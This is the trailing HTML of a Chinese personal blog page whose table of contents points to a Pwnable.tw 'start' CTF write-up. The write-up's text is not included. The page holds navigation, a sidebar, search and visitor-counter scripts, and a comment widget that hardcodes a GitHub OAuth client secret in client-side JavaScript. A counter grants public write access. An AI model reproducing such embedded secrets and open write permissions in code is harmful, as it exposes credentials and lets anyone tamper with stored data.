<div class="post-nav-next post-nav-item">
<a href="/2019/07/25/Debug-a-router-firmware/" rel="next" title="远程调试小米路由器固件">
<i class="fa fa-chevron-left"></i> 远程调试小米路由器固件
</a>
</div>
<span class="post-nav-divider"></span>
<div class="post-nav-prev post-nav-item">
</div>
</div>
</footer>
</div>
</article>
<div class="post-spread">
</div>
</div>
</div>
<div class="comments" id="comments">
<div id="gitment-container"></div>
</div>
</div>
<div class="sidebar-toggle">
<div class="sidebar-toggle-line-wrap">
<span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
</div>
</div>
<aside id="sidebar" class="sidebar">
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
文章目录
</li>
<li class="sidebar-nav-overview" data-target="site-overview-wrap">
站点概览
</li>
</ul>
<section class="site-overview-wrap sidebar-panel">
<div class="site-overview">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
<p class="site-author-name" itemprop="name">Cool-Y</p>
<p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
</div>
<nav class="site-state motion-element">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">22</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/index.html">
<span class="site-state-item-count">7</span>
<span class="site-state-item-name">分类</span>
</a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/index.html">
<span class="site-state-item-count">43</span>
<span class="site-state-item-name">标签</span>
</a>
</div>
</nav>
<div class="links-of-author motion-element">
<span class="links-of-author-item">
<a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
<i class="fa fa-fw fa-github"></i>GitHub</a>
</span>
<span class="links-of-author-item">
<a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
<i class="fa fa-fw fa-envelope"></i>E-Mail</a>
</span>
<span class="links-of-author-item">
<a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
<i class="fa fa-fw fa-instagram"></i>Instagram</a>
</span>
</div>
<div id="music163player">
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="450" src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=430"></iframe>
</div>
</div>
</section>
<!--noindex-->
<section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
<div class="post-toc">
<div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#Pwnable-tw-start"><span class="nav-text">Pwnable.tw start</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#0x01-检查保护情况"><span class="nav-text">0x01 检查保护情况</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x02-漏洞分析"><span class="nav-text">0x02 漏洞分析</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#INT-80h-系统调用方法"><span class="nav-text">INT 80h 系统调用方法</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#栈变化情况"><span class="nav-text">栈变化情况</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x03-漏洞利用"><span class="nav-text">0x03 漏洞利用</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#利用思路"><span class="nav-text">利用思路</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Catch-THE-FLAG"><span class="nav-text">Catch THE FLAG</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#REF"><span class="nav-text">REF</span></a></li></ol></li></ol></div>
</div>
</section>
<!--/noindex-->
</div>
</aside>
</div>
</main>
<footer id="footer" class="footer">
<div class="footer-inner">
<div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
<span class="with-love">
<i class="fa fa-user"></i>
</span>
<span class="author" itemprop="copyrightHolder">Cool-Y</span>
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-area-chart"></i>
</span>
<span title="Site words total count">67.4k</span>
</div>
<div class="powered-by"><a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
<div class="busuanzi-count">
<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<span class="site-uv">
<i class="fa fa-user"></i>
<span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
</span>
<span class="site-pv">
<i class="fa fa-eye"></i>
<span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
</span>
</div>
</div>
</footer>
<div class="back-to-top">
<i class="fa fa-arrow-up"></i>
</div>
</div>
<script type="text/javascript">
if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
window.Promise = null;
}
</script>
<script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
<script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
<script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
<script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
<script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
<script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
<!-- LOCAL: You can save these files to your site and update links -->
<link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
<script src="https://jjeejj.github.io/js/gitment.js"></script>
<!-- END LOCAL -->
<script type="text/javascript">
function renderGitment(){
var gitment = new Gitment({
id: window.location.pathname,
owner: 'Cool-Y',
repo: 'gitment-comments',
oauth: {
client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
client_id: '180955a2c3ae3d966d9a'
}});
gitment.render('gitment-container');
}
renderGitment();
</script>
<script type="text/javascript">
// Popup Window;
var isfetched = false;
var isXml = true;
// Search DB path;
var search_path = "search.xml";
if (search_path.length === 0) {
search_path = "search.xml";
} else if (/json$/i.test(search_path)) {
isXml = false;
}
var path = "/" + search_path;
// monitor main search box;
var onPopupClose = function (e) {
$('.popup').hide();
$('#local-search-input').val('');
$('.search-result-list').remove();
$('#no-result').remove();
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
}
function proceedsearch() {
$("body")
.append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
.css('overflow', 'hidden');
$('.search-popup-overlay').click(onPopupClose);
$('.popup').toggle();
var $localSearchInput = $('#local-search-input');
$localSearchInput.attr("autocapitalize", "none");
$localSearchInput.attr("autocorrect", "off");
$localSearchInput.focus();
}
// search function;
var searchFunc = function(path, search_id, content_id) {
'use strict';
// start loading animation
$("body")
.append('<div class="search-popup-overlay local-search-pop-overlay">' +
'<div id="search-loading-icon">' +
'<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
'</div>' +
'</div>')
.css('overflow', 'hidden');
$("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
$.ajax({
url: path,
dataType: isXml ? "xml" : "json",
async: true,
success: function(res) {
// get the contents from search data
isfetched = true;
$('.popup').detach().appendTo('.header-inner');
var datas = isXml ? $("entry", res).map(function() {
return {
title: $("title", this).text(),
content: $("content",this).text(),
url: $("url" , this).text()
};
}).get() : res;
var input = document.getElementById(search_id);
var resultContent = document.getElementById(content_id);
var inputEventFunction = function() {
var searchText = input.value.trim().toLowerCase();
var keywords = searchText.split(/[\s\-]+/);
if (keywords.length > 1) {
keywords.push(searchText);
}
var resultItems = [];
if (searchText.length > 0) {
// perform local searching
datas.forEach(function(data) {
var isMatch = false;
var hitCount = 0;
var searchTextCount = 0;
var title = data.title.trim();
var titleInLowerCase = title.toLowerCase();
var content = data.content.trim().replace(/<[^>]+>/g,"");
var contentInLowerCase = content.toLowerCase();
var articleUrl = decodeURIComponent(data.url);
var indexOfTitle = [];
var indexOfContent = [];
// only match articles with not empty titles
if(title != '') {
keywords.forEach(function(keyword) {
function getIndexByWord(word, text, caseSensitive) {
var wordLen = word.length;
if (wordLen === 0) {
return [];
}
var startPosition = 0, position = [], index = [];
if (!caseSensitive) {
text = text.toLowerCase();
word = word.toLowerCase();
}
while ((position = text.indexOf(word, startPosition)) > -1) {
index.push({position: position, word: word});
startPosition = position + wordLen;
}
return index;
}
indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
});
if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
isMatch = true;
hitCount = indexOfTitle.length + indexOfContent.length;
}
}
// show search results
if (isMatch) {
// sort index by position of keyword
[indexOfTitle, indexOfContent].forEach(function (index) {
index.sort(function (itemLeft, itemRight) {
if (itemRight.position !== itemLeft.position) {
return itemRight.position - itemLeft.position;
} else {
return itemLeft.word.length - itemRight.word.length;
}
});
});
// merge hits into slices
function mergeIntoSlice(text, start, end, index) {
var item = index[index.length - 1];
var position = item.position;
var word = item.word;
var hits = [];
var searchTextCountInSlice = 0;
while (position + word.length <= end && index.length != 0) {
if (word === searchText) {
searchTextCountInSlice++;
}
hits.push({position: position, length: word.length});
var wordEnd = position + word.length;
// move to next position of hit
index.pop();
while (index.length != 0) {
item = index[index.length - 1];
position = item.position;
word = item.word;
if (wordEnd > position) {
index.pop();
} else {
break;
}
}
}
searchTextCount += searchTextCountInSlice;
return {
hits: hits,
start: start,
end: end,
searchTextCount: searchTextCountInSlice
};
}
var slicesOfTitle = [];
if (indexOfTitle.length != 0) {
slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
}
var slicesOfContent = [];
while (indexOfContent.length != 0) {
var item = indexOfContent[indexOfContent.length - 1];
var position = item.position;
var word = item.word;
// cut out 100 characters
var start = position - 20;
var end = position + 80;
if(start < 0){
start = 0;
}
if (end < position + word.length) {
end = position + word.length;
}
if(end > content.length){
end = content.length;
}
slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
}
// sort slices in content by search text's count and hits' count
slicesOfContent.sort(function (sliceLeft, sliceRight) {
if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
return sliceRight.searchTextCount - sliceLeft.searchTextCount;
} else if (sliceLeft.hits.length !== sliceRight.hits.length) {
return sliceRight.hits.length - sliceLeft.hits.length;
} else {
return sliceLeft.start - sliceRight.start;
}
});
// select top N slices in content
var upperBound = parseInt('1');
if (upperBound >= 0) {
slicesOfContent = slicesOfContent.slice(0, upperBound);
}
// highlight title and content
function highlightKeyword(text, slice) {
var result = '';
var prevEnd = slice.start;
slice.hits.forEach(function (hit) {
result += text.substring(prevEnd, hit.position);
var end = hit.position + hit.length;
result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
prevEnd = end;
});
result += text.substring(prevEnd, slice.end);
return result;
}
var resultItem = '';
if (slicesOfTitle.length != 0) {
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
} else {
resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
}
slicesOfContent.forEach(function (slice) {
resultItem += "<a href='" + articleUrl + "'>" +
"<p class=\"search-result\">" + highlightKeyword(content, slice) +
"...</p>" + "</a>";
});
resultItem += "</li>";
resultItems.push({
item: resultItem,
searchTextCount: searchTextCount,
hitCount: hitCount,
id: resultItems.length
});
}
})
};
if (keywords.length === 1 && keywords[0] === "") {
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
} else if (resultItems.length === 0) {
resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
} else {
resultItems.sort(function (resultLeft, resultRight) {
if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
return resultRight.searchTextCount - resultLeft.searchTextCount;
} else if (resultLeft.hitCount !== resultRight.hitCount) {
return resultRight.hitCount - resultLeft.hitCount;
} else {
return resultRight.id - resultLeft.id;
}
});
var searchResultList = '<ul class=\"search-result-list\">';
resultItems.forEach(function (result) {
searchResultList += result.item;
})
searchResultList += "</ul>";
resultContent.innerHTML = searchResultList;
}
}
if ('auto' === 'auto') {
input.addEventListener('input', inputEventFunction);
} else {
$('.search-icon').click(inputEventFunction);
input.addEventListener('keypress', function (event) {
if (event.keyCode === 13) {
inputEventFunction();
}
});
}
// remove loading animation
$(".local-search-pop-overlay").remove();
$('body').css('overflow', '');
proceedsearch();
}
});
}
// handle and trigger popup window;
$('.popup-trigger').click(function(e) {
e.stopPropagation();
if (isfetched === false) {
searchFunc(path, 'local-search-input', 'local-search-result');
} else {
proceedsearch();
};
});
$('.popup-btn-close').click(onPopupClose);
$('.popup').click(function(e){
e.stopPropagation();
});
$(document).on('keyup', function (event) {
var shouldDismissSearchPopup = event.which === 27 &&
$('.search-popup').is(':visible');
if (shouldDismissSearchPopup) {
onPopupClose();
}
});
</script>
<script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
<script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
<script>
function showTime(Counter) {
var query = new AV.Query(Counter);
var entries = [];
var $visitors = $(".leancloud_visitors");
$visitors.each(function () {
entries.push( $(this).attr("id").trim() );
});
query.containedIn('url', entries);
query.find()
.done(function (results) {
var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
if (results.length === 0) {
$visitors.find(COUNT_CONTAINER_REF).text(0);
return;
}
for (var i = 0; i < results.length; i++) {
var item = results[i];
var url = item.get('url');
var time = item.get('time');
var element = document.getElementById(url);
$(element).find(COUNT_CONTAINER_REF).text(time);
}
for(var i = 0; i < entries.length; i++) {
var url = entries[i];
var element = document.getElementById(url);
var countSpan = $(element).find(COUNT_CONTAINER_REF);
if( countSpan.text() == '') {
countSpan.text(0);
}
}
})
.fail(function (object, error) {
console.log("Error: " + error.code + " " + error.message);
});
}
function addCount(Counter) {
var $visitors = $(".leancloud_visitors");
var url = $visitors.attr('id').trim();
var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
</script>
<script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
</body>
</html>